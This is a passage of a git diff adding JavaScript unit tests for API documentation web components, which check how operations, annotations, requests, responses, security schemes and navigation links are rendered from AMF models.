'Annotation container is rendered'); + const label = /** @type HTMLElement */ (node.querySelector('.name')); + assert.ok(label, 'Annotation label is rendered'); + const labelValue = label.innerText.toLowerCase(); + assert.equal(labelValue, 'annotationtest'); + }); + + // APIMF-1710 + it.skip('does not render a value for a nil annotation', async () => { + const shape = loader.lookupShape(model, 'notRequiredRepeatable'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelector('.custom-property'); + assert.ok(node, 'Annotation container is rendered'); + const value = node.querySelector('.scalar-value'); + assert.notOk(value, 'Annotation value is not rendered'); + }); + + it('renders a scalar annotation', async () => { + const shape = loader.lookupShape(model, 'ErrorResource'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelector('.custom-property'); + assert.ok(node, 'Annotation container is rendered'); + const label = /** @type HTMLElement */ (node.querySelector('.name')); + assert.ok(label, 'Annotation label is rendered'); + const labelValue = label.innerText.toLowerCase(); + assert.equal(labelValue, 'deprecated'); + const value = node.querySelector('.scalar-value'); + assert.ok(value, 'Annotation value is rendered'); + const scalarList = node.querySelectorAll('.scalar-value'); + assert.equal(scalarList.length, 1, 'Scalar value is rendered'); + }); + + it('renders a complex annotation', async () => { + const shape = loader.lookupShape(model, 'ComplexAnnotations'); + element.shape = shape; + await nextFrame(); + const node = element.shadowRoot.querySelector('.custom-property'); + assert.ok(node, 'Annotation container is rendered'); + const label = /** @type HTMLElement */ (node.querySelector('.name')); + assert.ok(label, 'Annotation label is rendered'); + const labelValue = label.innerText.toLowerCase(); + assert.equal(labelValue, 'clearancelevel'); + const objectNodes = node.querySelectorAll('.object-property'); + assert.equal(objectNodes.length, 2, 'has all properties rendered'); + }); + }); + }); + }); +}); diff --git a/test/elements/ApiDocumentationDocumentElement.test.js b/test/elements/ApiDocumentationDocumentElement.test.js new file mode 100644 index 0000000..06c99bc --- /dev/null +++ b/test/elements/ApiDocumentationDocumentElement.test.js @@ -0,0 +1,166 @@ +import { fixture, assert, html, aTimeout, nextFrame } from '@open-wc/testing'; +import sinon from 'sinon'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-documentation-document.js'; + +/** @typedef {import('../../').ApiDocumentationDocumentElement} ApiDocumentationDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').CreativeWork} CreativeWork */ +/** @typedef {import('@api-components/amf-helper-mixin').ApiDocumentation} ApiDocumentation */ + +describe('ApiDocumentationDocumentElement', () => { + const loader = new AmfLoader(); + const apiFile = 'documented-api'; + + /** + * @param {AmfDocument} amf + * @param {CreativeWork} graph + * @returns {Promise} + */ + async function graphFixture(amf, graph) { + const element = await fixture(html``); + // there's a debouncer set for the domainModel change + await aTimeout(2); + await nextFrame(); + return /** @type ApiDocumentationDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {string} domainId + * @returns {Promise} + */ + async function domainIdFixture(amf, domainId) { + const element = await fixture(html``); + // there's a debouncer set for the domainId change + await aTimeout(2); + await nextFrame(); + return /** @type ApiDocumentationDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('Initialization', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, apiFile); + }); + + it('initializes the component with the domainId', async () => { + const docs = loader.getDocumentation(model, 'Test docs'); + const element = await domainIdFixture(model, docs.id); + const title = element.shadowRoot.querySelector('.documentation-header'); + assert.ok(title, 'has the documentation title'); + const description = element.shadowRoot.querySelector('.api-description'); + assert.ok(description, 'has the description'); + }); + + it('initializes the component with the graph model', async () => { + const docs = loader.lookupDocumentation(model, 'Test docs'); + const element = await graphFixture(model, docs); + const title = element.shadowRoot.querySelector('.documentation-header'); + assert.ok(title, 'has the documentation title'); + const description = element.shadowRoot.querySelector('.api-description'); + assert.ok(description, 'has the description'); + }); + }); + + describe('Basics', () => { + /** @type ApiDocumentationDocumentElement */ + let element; + /** @type AmfDocument */ + let model; + /** @type CreativeWork */ + let docs; + + before(async () => { + model = await loader.getGraph(compact, apiFile); + docs = loader.lookupDocumentation(model, 'Test docs'); + }); + + beforeEach(async () => { + element = await graphFixture(model, docs); + }); + + it('has the #model', () => { + assert.typeOf(element.model, 'object'); + }); + + it('renders the title', () => { + const title = element.shadowRoot.querySelector('.documentation-title .label'); + assert.ok(title, 'has the label node'); + assert.equal(title.textContent.trim(), 'Test docs', 'has the title value'); + }); + + it('passes the markdown to the "arc-marked" element', () => { + const node = element.shadowRoot.querySelector('arc-marked'); + assert.typeOf(node.markdown, 'string'); + }); + }); + + describe('Navigation', () => { + /** @type ApiDocumentationDocumentElement */ + let element; + /** @type AmfDocument */ + let model; + /** @type CreativeWork */ + let docs; + /** @type NodeListOf */ + let anchors; + + before(async () => { + model = await loader.getGraph(compact, apiFile); + docs = loader.lookupDocumentation(model, 'Read this!'); + }); + + beforeEach(async () => { + element = await graphFixture(model, docs); + anchors = element.shadowRoot.querySelectorAll('a'); + }); + + it('cancels navigation to a relative path', () => { + const node = anchors[0]; + const spy = sinon.spy(); + element.addEventListener('click', spy); + node.click(); + assert.isFalse(spy.called); + }); + + it('allows absolute paths', () => { + const node = anchors[1]; + let called = false; + element.addEventListener('click', (e) => { + called = true; + e.preventDefault(); + }); + node.click(); + assert.isTrue(called); + }); + + it('allows mailto: paths', () => { + const node = anchors[2]; + let called = false; + element.addEventListener('click', (e) => { + called = true; + e.preventDefault(); + }); + node.click(); + assert.isTrue(called); + }); + + it('ignores other clicks', () => { + const spy = sinon.spy(); + element.addEventListener('click', spy); + const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('.markdown-body')); + node.click(); + assert.isTrue(spy.called); + }); + }); + }); + }); +}); diff --git a/test/elements/ApiOperationDocumentElement.test.js b/test/elements/ApiOperationDocumentElement.test.js new file mode 100644 index 0000000..5e9b931 --- /dev/null +++ b/test/elements/ApiOperationDocumentElement.test.js @@ -0,0 +1,753 @@ +import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing'; +import sinon from 'sinon'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-operation-document.js'; +import '../../api-request-document.js'; + +/** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */ +/** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */ +/** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Operation} Operation */ +/** @typedef {import('@anypoint-web-components/anypoint-tabs').AnypointTabs} AnypointTabs */ + +describe('ApiOperationDocumentElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function basicFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function tryItFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function snippetsFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function asyncFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + + /** + * @param {AmfDocument} amf + * @param {Operation=} shape + * @returns {Promise} + */ + async function securityFixture(amf, shape) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiOperationDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe(compact ? 'Compact model' : 'Full model', () => { + describe('basic AMF computations', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiOperationDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + element = await basicFixture(model, data); + }); + + it('sets the operation property', () => { + const { operation } = element; + assert.typeOf(operation, 'object', 'has the operation') + assert.equal(operation.method, 'get', 'has the operation properties') + }); + + it('sets the parent endpoint property', () => { + const { endpoint } = element; + assert.typeOf(endpoint, 'object', 'has the endpoint') + assert.equal(endpoint.path, '/people', 'has the endpoint properties') + }); + + it('sets the list of servers', () => { + const { servers } = element; + assert.typeOf(servers, 'array', 'has the servers') + assert.lengthOf(servers, 1, 'has the only server') + assert.equal(servers[0].url, 'http://{instance}.domain.com/'); + }); + + it('returns the first server in the #server getter', () => { + const { server } = element; + assert.typeOf(server, 'object', 'has the server') + assert.equal(server.url, 'http://{instance}.domain.com/'); + }); + + it('computes value for the #snippetsUri getter', () => { + const { snippetsUri } = element; + assert.typeOf(snippetsUri, 'string', 'has the snippetsUri') + assert.equal(snippetsUri, 'http://{instance}.domain.com/people'); + }); + + it('computes the list of responses', () => { + const { responses } = element; + assert.typeOf(responses, 'array', 'has the responses') + assert.lengthOf(responses, 2, 'has all responses'); + }); + + it('the responses are ordered', () => { + const { responses } = element; + const [r1, r2] = responses; + assert.equal(r1.statusCode, '200'); + assert.equal(r2.statusCode, '400'); + }); + + it('pre-selects the response status code', () => { + const { selectedStatus } = element; + assert.equal(selectedStatus, '200'); + }); + + it('computes the endpoint URI', () => { + const { endpointUri } = element; + assert.equal(endpointUri, 'http://{instance}.domain.com/people'); + }); + }); + + describe('Data rendering', () => { + /** @type AmfDocument */ + let demoModel; + /** @type AmfDocument */ + let asyncModel; + /** @type AmfDocument */ + let oasCallbacksModel; + /** @type AmfDocument */ + let petStoreModel; + before(async () => { + demoModel = await loader.getGraph(compact); + asyncModel = await loader.getGraph(compact, 'async-api'); + oasCallbacksModel = await loader.getGraph(compact, 'oas-callbacks'); + petStoreModel = await loader.getGraph(compact, 'Petstore-v2'); + }); + + it('renders the operation name, when defined', async () => { + const data = loader.lookupOperation(demoModel, '/people', 'get'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), 'List people'); + }); + + it('renders the operation method, when name not defined', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.label'); + assert.equal(label.textContent.trim(), 'put'); + }); + + it('renders the operation sub-title for sync API', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'API operation'); + }); + + it('renders the operation sub-title for async API', async () => { + const data = loader.lookupOperation(asyncModel, 'hello', 'publish'); + const element = await asyncFixture(asyncModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const label = header.querySelector('.sub-header'); + assert.equal(label.textContent.trim(), 'Async operation'); + }); + + it('renders the operation summary', async () => { + const data = loader.lookupOperation(petStoreModel, '/pets', 'get'); + const element = await basicFixture(petStoreModel, data); + const summary = element.shadowRoot.querySelector('.summary'); + assert.ok(summary, 'has the summary'); + assert.equal(summary.textContent.trim(), 'Finds pets by tag'); + }); + + it('renders the operation id', async () => { + const data = loader.lookupOperation(petStoreModel, '/pets', 'get'); + const element = await basicFixture(petStoreModel, data); + const field = element.shadowRoot.querySelector('.schema-property-item[data-name="operation-id"]'); + assert.ok(field, 'has the operation id label'); + const value = field.querySelector('.schema-property-value'); + assert.equal(value.textContent.trim(), 'findPets'); + }); + + it('renders the endpoint URI', async () => { + const data = loader.lookupOperation(demoModel, '/people/{personId}', 'get'); + const element = await basicFixture(demoModel, data); + const section = element.shadowRoot.querySelector('.endpoint-url'); + assert.ok(section, 'has the url section'); + const node = section.querySelector('.url-value'); + assert.equal(node.textContent.trim(), 'http://{instance}.domain.com/people/{personId}'); + }); + + it('renders the method with the endpoint URI', async () => { + const data = loader.lookupOperation(demoModel, '/people/{personId}', 'get'); + const element = await basicFixture(demoModel, data); + const section = element.shadowRoot.querySelector('.endpoint-url'); + assert.ok(section, 'has the url section'); + const node = section.querySelector('.method-label'); + assert.equal(node.textContent.trim(), 'get'); + }); + + it('does not render the URI when async API', async () => { + const data = loader.lookupOperation(asyncModel, 'hello', 'publish'); + const element = await asyncFixture(asyncModel, data); + const section = element.shadowRoot.querySelector('.endpoint-url'); + assert.notOk(section, 'has no url section'); + }); + + it('renders the traits', async () => { + const data = loader.lookupOperation(demoModel, '/people', 'get'); + const element = await asyncFixture(demoModel, data); + const section = element.shadowRoot.querySelector('.extensions'); + assert.ok(section, 'has the traits line'); + assert.equal(section.textContent.trim(), 'Mixes in Paginated.', 'has the traits content'); + }); + + it('renders the annotations', async () => { + const data = loader.lookupOperation(demoModel, '/test-parameters/{feature}', 'get'); + const element = await asyncFixture(demoModel, data); + const section = element.shadowRoot.querySelector('api-annotation-document'); + assert.ok(section, 'has the annotations'); + assert.equal(section.getAttribute('aria-hidden'), 'false', 'renders the content'); + }); + + it('renders the request document', async () => { + const data = loader.lookupOperation(demoModel, '/test-parameters/{feature}', 'get'); + const element = await asyncFixture(demoModel, data); + const section = /** @type ApiRequestDocumentElement */ (element.shadowRoot.querySelector('api-request-document')); + assert.ok(section, 'has the request document'); + assert.isTrue(section.amf === demoModel, 'passes the amf model'); + assert.typeOf(section.request, 'object', 'passes the request model'); + assert.typeOf(section.endpoint, 'object', 'passes the endpoint model'); + assert.typeOf(section.server, 'object', 'passes the server model'); + }); + + it('renders the deprecated message', async () => { + const data = loader.lookupOperation(petStoreModel, '/pets', 'get'); + const element = await basicFixture(petStoreModel, data); + const message = element.shadowRoot.querySelector('.deprecated-message'); + assert.ok(message, 'has the message'); + assert.equal(message.querySelector('.message').textContent.trim(), 'This operation is marked as deprecated.'); + }); + + it('renders the callbacks section', async () => { + const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post'); + const element = await basicFixture(oasCallbacksModel, data); + const callbacksSection = element.shadowRoot.querySelector('[data-controlled-by="callbacksOpened"]'); + assert.ok(callbacksSection, 'has the message'); + + const callbacks = callbacksSection.querySelectorAll('.callback-section'); + assert.lengthOf(callbacks, 3, 'has 3 callbacks rendered'); + + const first = callbacks[0]; + assert.ok(first.querySelector('.table-title'), 'has the title'); + assert.ok(first.querySelector('api-operation-document'), 'has the operation definition'); + }); + + it('renders the links section', async () => { + const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post'); + const element = await basicFixture(oasCallbacksModel, data); + const response = element.shadowRoot.querySelector('api-response-document'); + assert.ok(response, 'has the response'); + + const title = response.shadowRoot.querySelector('.links-header'); + assert.ok(title, 'has the links title'); + assert.equal(title.textContent.trim(), 'Links', 'has the links title content'); + + const linkHeaders = response.shadowRoot.querySelectorAll('.link-header'); + assert.lengthOf(linkHeaders, 2, 'has link title for each link'); + + const linkTable = response.shadowRoot.querySelectorAll('.link-table'); + assert.lengthOf(linkTable, 2, 'has link content for each link'); + + const linkOperations = response.shadowRoot.querySelectorAll('.operation-id'); + assert.lengthOf(linkOperations, 1, 'has a single link to operation id'); + }); + + it('renders the responses section', async () => { + const data = loader.lookupOperation(oasCallbacksModel, '/subscribe', 'post'); + const element = await basicFixture(oasCallbacksModel, data); + const response = element.shadowRoot.querySelector('api-response-document'); + assert.ok(response, 'has the response'); + + assert.isTrue(response.amf === oasCallbacksModel, 'passes the amf model'); + assert.typeOf(response.response, 'object', 'passes the response model'); + }); + + it('does not render responses when not defined', async () => { + const data = loader.lookupOperation(demoModel, '/query-params/bool', 'get'); + const element = await basicFixture(demoModel, data); + const response = element.shadowRoot.querySelector('api-response-document'); + assert.notOk(response, 'has not response documentation'); + }); + }); + + describe('try it button', () => { + /** @type AmfDocument */ + let demoModel; + before(async () => { + demoModel = await loader.getGraph(compact); + }); + + it('does not render the try-it by default', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await basicFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = header.querySelector('.action-button'); + assert.notOk(button, 'has no button in the header'); + }); + + it('renders the try-it when configured', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await tryItFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = header.querySelector('.action-button'); + assert.ok(button, 'has the button'); + assert.equal(button.textContent.trim(), 'Try it') + }); + + it('dispatches the bubbling tryit event when clicking on the button', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await tryItFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = /** @type HTMLElement */ (header.querySelector('.action-button')); + const spy = sinon.spy(); + document.body.addEventListener('tryit', spy); + button.click(); + assert.isTrue(spy.calledOnce, 'the event was dispatched'); + const {detail} = spy.args[0][0]; + assert.typeOf(detail, 'object', 'the event has the detail'); + assert.typeOf(detail.id, 'string', 'has the operation id'); + }); + + it('dispatches the bubbling legacy tryit-requested event when clicking on the button', async () => { + const data = loader.lookupOperation(demoModel, '/orgs/{orgId}', 'put'); + const element = await tryItFixture(demoModel, data); + const header = element.shadowRoot.querySelector('.operation-header'); + const button = /** @type HTMLElement */ (header.querySelector('.action-button')); + const spy = sinon.spy(); + document.body.addEventListener('tryit-requested', spy); + button.click(); + assert.isTrue(spy.calledOnce, 'the event was dispatched'); + const {detail} = spy.args[0][0]; + assert.typeOf(detail, 'object', 'the event has the detail'); + assert.typeOf(detail.id, 'string', 'has the operation id'); + }); + }); + + describe('responses template', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + it('renders the response status code selector', async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const selector = element.shadowRoot.querySelector('.status-codes-selector'); + assert.ok(selector, 'has the selector section'); + + const tabsSection = selector.querySelector('anypoint-tabs'); + assert.ok(tabsSection, 'has the tabs element'); + + const tabs = tabsSection.querySelectorAll('anypoint-tab'); + assert.lengthOf(tabs, 2, 'has both status codes'); + + assert.equal(tabs[0].textContent.trim(), '200'); + assert.equal(tabs[1].textContent.trim(), '400'); + }); + + it('renders the response for the status', async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const doc = element.shadowRoot.querySelector('api-response-document'); + assert.ok(doc); + + assert.isTrue(doc.amf === model, 'passes the amf model'); + assert.typeOf(doc.response, 'object', 'passes the response model'); + assert.typeOf(doc.response.id, 'string', 'passes the serialized response model'); + }); + + it('switches the response when selecting a status code', async () => { + const data = loader.lookupOperation(model, '/people', 'get'); + const element = await basicFixture(model, data); + + const requestBefore = element.shadowRoot.querySelector('api-response-document').response.id; + + const selector = element.shadowRoot.querySelector('.status-codes-selector'); + const tabs = selector.querySelectorAll('anypoint-tab'); + tabs[1].click(); + + await nextFrame(); + + assert.equal(element.selectedStatus, '400', 'changes the selectedStatus'); + const requestAfter = element.shadowRoot.querySelector('api-response-document').response.id; + + assert.typeOf(requestAfter, 'string', 'has the response after the change'); + assert.notEqual(requestBefore, requestAfter, 'has a changed response'); + }); + + it('does not render responses section when no responses in the model', async () => { + const data = loader.lookupOperation(model, '/scalarArrays', 'get'); + const element = await basicFixture(model, data); + + const doc = element.shadowRoot.querySelector('api-response-document'); + assert.notOk(doc); + }); + }); + + describe('response status codes', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + /** @type ApiOperationDocumentElement */ + let element; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/people', 'put'); + element = await basicFixture(model, data); + }); + + it('renders the status codes section', () => { + const node = element.shadowRoot.querySelector('.status-codes-selector'); + assert.ok(node); + }); + + it('renders the status codes options', async () => { + const nodes = /** @type NodeListOf */ (element.shadowRoot.querySelectorAll('.status-codes-selector anypoint-tab')); + assert.lengthOf(nodes, 3, 'has 3 tabs'); + assert.equal(nodes[0].innerText.trim(), '200', '200 status is rendered'); + assert.equal(nodes[1].innerText.trim(), '204', '204 status is rendered'); + assert.equal(nodes[2].innerText.trim(), '400', '400 status is rendered'); + }); + + it('renders anypoint-tabs with scrollable', () => { + const node = /** @type AnypointTabs */ (element.shadowRoot.querySelector('.status-codes-selector anypoint-tabs')); + + assert.isTrue(node.scrollable); + }); + + it('computes the selectedStatus', () => { + assert.deepEqual(element.selectedStatus, '200'); + }); + + it('changes the status code', async () => { + const nodes = /** @type NodeListOf */ (element.shadowRoot.querySelectorAll('.status-codes-selector anypoint-tab')); + nodes[1].click(); + await nextFrame(); + + assert.deepEqual(element.selectedStatus, '204'); + + const response = element.shadowRoot.querySelector('api-response-document'); + assert.equal(response.response.statusCode, '204', 'the response element has the new status code'); + }); + }); + + describe('security rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'secured-api'); + }); + + it('preselects the first security', async () => { + const data = loader.lookupOperation(model, '/basic', 'get'); + const element = await securityFixture(model, data); + assert.typeOf(element.securityId, 'string', 'has the securityId'); + }); + + it('renders a single security', async () => { + const data = loader.lookupOperation(model, '/basic', 'get'); + const element = await securityFixture(model, data); + + const selector = element.shadowRoot.querySelector('.security-selector'); + assert.notOk(selector, 'has no security selector'); + + const doc = element.shadowRoot.querySelector('api-security-requirement-document'); + assert.ok(doc, 'has the security documentation'); + + assert.isTrue(doc.amf === model, 'passes the model'); + assert.typeOf(doc.domainId, 'string', 'passes the security id'); + }); + + it('renders multiple security options', async () => { + const data = loader.lookupOperation(model, '/combo-types', 'get'); + const element = await securityFixture(model, data); + + const selector = element.shadowRoot.querySelector('.security-selector'); + assert.ok(selector, 'has the security selector'); + + const doc = element.shadowRoot.querySelector('api-security-requirement-document'); + assert.ok(doc, 'has the security documentation'); + + assert.isTrue(doc.amf === model, 'passes the model'); + assert.typeOf(doc.domainId, 'string', 'passes the security id'); + }); + + it('switches between the security schemes', async () => { + const data = loader.lookupOperation(model, '/combo-types', 'get'); + const element = await securityFixture(model, data); + + const selector = element.shadowRoot.querySelector('.security-selector'); + const tabs = selector.querySelectorAll('anypoint-tab'); + assert.lengthOf(tabs, 6, 'has all schemes rendered in the selector'); + + tabs[1].click(); + await nextFrame(); + + const doc = element.shadowRoot.querySelector('api-security-requirement-document'); + assert.ok(doc, 'has the security documentation'); + + assert.equal(doc.domainId, tabs[1].dataset.id, 'passes the security id'); + }); + }); + + describe('SE-12752 - query string', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'SE-12752'); + }); + + it('renders parameters table with query parameters as a NodeShape', async () => { + const data = loader.lookupOperation(model, '/test', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 2, 'has both parameters from the query string'); + }); + + it('renders parameters table with query parameters as an ArrayShape', async () => { + const data = loader.lookupOperation(model, '/array', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 1, 'has the single parameter item'); + }); + + it('renders parameters table with query parameters as an UnionShape', async () => { + const data = loader.lookupOperation(model, '/union', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 2, 'has both parameters from the query string'); + }); + + it('renders parameters table with query parameters as an ScalarShape', async () => { + const data = loader.lookupOperation(model, '/scalar', 'get'); + const element = await basicFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 1, 'has the single parameter item'); + }); + }); + + describe('SE-12957', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'SE-12957'); + }); + + /** @type ApiOperationDocumentElement */ + let element; + /** @type ApiRequestDocumentElement */ + let request; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get'); + element = await basicFixture(model, data); + request = element.shadowRoot.querySelector('api-request-document'); + }); + + it('renders all parameters', async () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document'); + assert.lengthOf(params, 2); + }); + + it('renders the query parameter', async () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'); + assert.lengthOf(params, 1, 'has a single query parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'time-on', 'has the model defined parameter'); + }); + + it('renders the path parameter', async () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]'); + assert.lengthOf(params, 1, 'has a single path parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'scada-object-key', 'has the model defined parameter'); + }); + }); + + describe('SE-12959: Summary rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'SE-12959'); + }); + + it('has no summary by default', async () => { + const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get'); + const element = await basicFixture(model, data); + const summary = element.shadowRoot.querySelector('.summary'); + assert.notOk(summary, 'has no summary field'); + }); + + it('renders the summary', async () => { + const data = loader.lookupOperation(model, '/api/v1/downtime/site/{site-api-key}', 'get'); + const element = await basicFixture(model, data); + const summary = element.shadowRoot.querySelector('.summary'); + assert.ok(summary, 'has the summary field'); + assert.equal(summary.textContent.trim(), 'Get a list of downtime events for a site that overlap with a time period'); + }); + }); + + describe('APIC-553: Code snippets query parameters', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-553'); + }); + + it('sets the code snippets with endpoint uri and no query params', async () => { + const data = loader.lookupOperation(model, '/cmt', 'get'); + const element = await snippetsFixture(model, data); + assert.equal(element.snippetsUri, 'http://domain.org/cmt'); + assert.equal(element.shadowRoot.querySelector('http-code-snippets').url, 'http://domain.org/cmt'); + }); + + it('sets the code snippets with endpoint uri and a query params', async () => { + const data = loader.lookupOperation(model, '/cmt-with-qp-example', 'get'); + const element = await snippetsFixture(model, data); + assert.equal(element.snippetsUri, 'http://domain.org/cmt-with-qp-example?orx=foo'); + assert.equal(element.shadowRoot.querySelector('http-code-snippets').url, 'http://domain.org/cmt-with-qp-example?orx=foo'); + }); + }); + + describe('APIC-582: Async API rendering', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-582'); + }); + + it('does not render code snippets', async () => { + const data = loader.lookupOperation(model, 'user/signedup', 'subscribe'); + const element = await asyncFixture(model, data); + const node = element.shadowRoot.querySelector('http-code-snippets'); + assert.notOk(node); + }); + + it('does not render request parameters', async () => { + const data = loader.lookupOperation(model, 'user/signedup', 'subscribe'); + const element = await snippetsFixture(model, data); + const requestDoc = /** @type HTMLElement */ (element.shadowRoot.querySelector('api-request-document')); + const params = requestDoc.shadowRoot.querySelectorAll('.params-section'); + assert.lengthOf(params, 0); + }); + }); + + describe('APIC-650: Path parameters', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact, 'APIC-650'); + }); + + /** @type ApiOperationDocumentElement */ + let element; + /** @type ApiRequestDocumentElement */ + let request; + beforeEach(async () => { + const data = loader.lookupOperation(model, '/testEndpoint1/{uriParam1}', 'get'); + element = await basicFixture(model, data); + request = element.shadowRoot.querySelector('api-request-document'); + }); + + it('renders path parameter for the endpoint', () => { + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]'); + assert.lengthOf(params, 1, 'has a single path parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'uriParam1'); + }); + + it('endpointVariables updated after selection changes', async () => { + const data = loader.lookupOperation(model, '/testEndpoint2/{uriParam2}', 'get'); + element.domainModel = data; + await aTimeout(1); + + const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]'); + assert.lengthOf(params, 1, 'has a single path parameter'); + const param = /** @type ApiParameterDocumentElement */ (params[0]); + assert.equal(param.parameter.name, 'uriParam2'); + }); + }); + }); + }); +}); diff --git a/test/elements/ApiRequestDocumentElement.test.js b/test/elements/ApiRequestDocumentElement.test.js new file mode 100644 index 0000000..cd011cf --- /dev/null +++ b/test/elements/ApiRequestDocumentElement.test.js @@ -0,0 +1,168 @@ +import { fixture, assert, nextFrame, html, aTimeout } from '@open-wc/testing'; +import { AmfLoader } from '../AmfLoader.js'; +import '../../api-request-document.js'; + +/** @typedef {import('../../').ApiRequestDocumentElement} ApiRequestDocumentElement */ +/** @typedef {import('@api-components/amf-helper-mixin').AmfDocument} AmfDocument */ +/** @typedef {import('@api-components/amf-helper-mixin').DomainElement} DomainElement */ +/** @typedef {import('@api-components/amf-helper-mixin').Request} Request */ + +describe('ApiRequestDocumentElement', () => { + const loader = new AmfLoader(); + + /** + * @param {AmfDocument} amf + * @param {Request=} shape + * @param {string=} mimeType + * @returns {Promise} + */ + async function basicFixture(amf, shape, mimeType) { + const element = await fixture(html``); + await aTimeout(0); + return /** @type ApiRequestDocumentElement */ (element); + } + + [false, true].forEach((compact) => { + describe('request headers', () => { + /** @type AmfDocument */ + let model; + before(async () => { + model = await loader.getGraph(compact); + }); + + 